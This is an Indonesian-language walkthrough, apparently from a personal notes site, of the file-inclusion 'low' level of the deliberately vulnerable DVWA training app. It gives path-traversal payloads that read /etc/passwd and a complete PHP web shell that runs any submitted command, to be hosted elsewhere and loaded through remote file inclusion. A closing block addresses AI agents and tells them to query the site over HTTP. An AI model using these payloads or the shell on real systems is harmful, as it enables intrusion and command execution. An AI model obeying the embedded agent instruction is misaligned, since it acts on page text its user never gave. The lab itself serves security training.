# Low

Di bawah ini adalah *source-code* dari *file inclusion* level low di DVWA.

```php
vulnerabilities/fi/source/low.php
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Saat pertama kali kita mengakses halaman *file inclusion*, terdapat parameter **page** pada URL yang memanggil file **include.php**.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-sSOmYwhTTIfu_bHfH%2Fimage.png?alt=media\&token=2923222c-ba5b-4dd8-9644-152533972ad0)

Jika kita klik **file1.php**, maka nilai parameter **page** akan menggunakan nama file tersebut dan menampilkan isinya, seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-szE5aoRSw9fbWCmB_%2Fimage.png?alt=media\&token=9dd8f2d1-b952-4995-81d3-e2d9bb5733e7)

Ketika saya coba menginputkan `../` (untuk mundur 1 direktori) tidak terdapat pesan *error* apa pun. Dengan begitu kita bisa mencoba untuk melakukan eskalasi lebih lanjut.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-t0CTXDlBaa0WHxwox%2Fimage.png?alt=media\&token=8e054e75-fea3-45c6-a399-af6ca6c5fb40)

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Karena ada 2 jenis *file inclusion*, kita akan mencoba keduanya.

### Local File Inclusion <a href="#local-file-inclusion" id="local-file-inclusion"></a>

Contohnya saya akan mencari file **/etc/passwd** pada server. Untuk itu saya harus mundur beberapa direktori dari tempat web server saat ini.

Setelah saya coba berkali-kali, akhirnya saya menemukan jawabannya, yaitu mundur 5 direktori terlebih dahulu.

```
?page=../../../../../etc/passwd
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-t12dPEktMQrKMMrzJ%2Fimage.png?alt=media\&token=3cd3a052-ddee-4e17-bf78-0595f3924d0e)

Yup! Dan sekarang kita bisa melihat isi dari file tersebut.

Cara lainnya adalah anda bisa langsung menggunakan payload seperti berikut:

```
?page=/etc/passwd
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-uT15NZNobc-fi-ZAV%2F-M-uVF_eCvN2mwf_mYGc%2Fimage.png?alt=media\&token=35bf0c88-026d-4e5d-a5af-0aa48d9c6806)

Selanjutnya anda bisa meng-*explore* lebih jauh lagi.😁

### Remote File Inclusion <a href="#remote-file-inclusion" id="remote-file-inclusion"></a>

Kali ini kita akan membuat shell terlebih dahulu, lalu kita akan upload file tersebut ke suatu server yang bisa diakses oleh server target dan kita melakukan RCE.

```php
RFI-shell.txt
<body>
  <form action="<?php $link=(isset($_SERVER['HTTPS']) ? "https" : "http")."://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
    <center>
      <br>
      <h1> Remote File Inclusion - SHELL </h1>
      <h2>
        Command:
        <input type="text" name="cmd" value=""/>
        <input type="submit" name="submit" value="cmd">
      </h2>
    </center>
  </form>
​
  <?php
    if(isset($_POST["cmd"])) {
      $cmd = $_POST["cmd"];
      $output = shell_exec("{$cmd}");
      echo "<h2>".$cmd."</h2>"."<pre>".$output."</pre>";
    }
  ?>
</body>
```

Langsung saja, pertama-tama kita buat shell seperti di bawah ini lalu upload ke hosting/VPS kalian:

Setelah di-upload, panggil file tersebut melalui celah *file inclusion*. Contohnya di sini shell bisa diakses di **<http://0.0.0.0/RFI-shell.txt>**.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-t4KpvBcrvedkdlQ7k%2Fimage.png?alt=media\&token=1c47ede6-c19e-46be-b614-b53cb7429b30)

Dan jika berhasil, kita bisa menjalankan RCE seperti di atas. Gimana? NGERI? haha😅

Tetap semangat! Happy Hacking!🍻


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.anggipradana.com/tutorial/dvwa/local-file-inclusion/low.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
